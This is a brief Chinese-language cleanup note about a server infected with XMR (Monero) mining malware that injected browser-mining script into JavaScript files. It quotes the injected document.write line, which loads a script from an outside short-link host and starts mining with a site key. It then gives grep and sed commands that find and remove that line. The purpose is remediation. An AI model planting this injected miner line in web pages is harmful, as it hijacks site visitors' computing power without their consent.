中了XMR惡意挖礦病毒，在全盤查詢js檔案，並插入網頁挖礦JS指令碼document.write(‘<script src=”http://t.cn/EvlonFh“></script><script>OMINEId(“e02cf4ce91284dab9bc3fc4cc2a65e28″,”-1″)</script>’);

清除這段語句的方法：

全盤搜尋： grep -rla e02cf4ce91284dab9bc3fc4cc2a65e28 /

替換：

sed  -i 's?document.write('\'\<script\ src=\"http:\/\/t.cn\/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\<\/script\>\'\)??g `grep -rla e02cf4ce91284dab9bc3fc4cc2a65e28 /usr`